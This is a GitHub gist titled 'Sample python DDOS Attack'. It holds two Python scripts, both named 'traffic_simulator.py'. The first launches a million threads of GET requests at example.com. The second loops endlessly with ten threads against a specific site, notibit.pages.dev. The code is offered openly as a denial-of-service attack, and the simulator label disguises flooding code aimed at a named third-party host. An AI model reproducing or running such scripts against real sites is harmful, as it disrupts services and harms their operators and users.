Last active
April 21, 2025 02:18
-
-
Save SH20RAJ/c8d8de4be4de9d883f52f39f85e494b6 to your computer and use it in GitHub Desktop.
Sample python DDOS Attack
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Save this as traffic_simulator.py | |
import threading | |
import requests | |
# Number of concurrent requests | |
NUM_THREADS = 1000000 | |
# Function to send requests | |
def send_requests(): | |
try: | |
response = requests.get("https://example.com/") | |
print(f"Response: {response.status_code}") | |
except Exception as e: | |
print(f"Error: {e}") | |
# Create threads | |
threads = [] | |
for _ in range(NUM_THREADS): | |
thread = threading.Thread(target=send_requests) | |
threads.append(thread) | |
# Start threads | |
for thread in threads: | |
thread.start() | |
# Wait for all threads to complete | |
for thread in threads: | |
thread.join() | |
print("Traffic simulation complete.") |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Save this as traffic_simulator.py | |
import threading | |
import requests | |
import time | |
# Function to send requests | |
def send_requests(): | |
while True: | |
try: | |
response = requests.get("https://notibit.pages.dev/") | |
print(f"Response: {response.status_code}") | |
except Exception as e: | |
print(f"Error: {e}") | |
time.sleep(0.1) # Add a small delay to prevent overwhelming the server | |
# Number of concurrent threads | |
NUM_THREADS = 10 | |
# Create and start threads | |
threads = [] | |
for _ in range(NUM_THREADS): | |
thread = threading.Thread(target=send_requests) | |
thread.daemon = True # Set as daemon so it exits when the main program does | |
thread.start() | |
threads.append(thread) | |
print("Traffic simulation started. Press Ctrl+C to stop.") | |
try: | |
# Keep the main thread alive | |
while True: | |
time.sleep(1) | |
except KeyboardInterrupt: | |
print("\nTraffic simulation stopped.") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment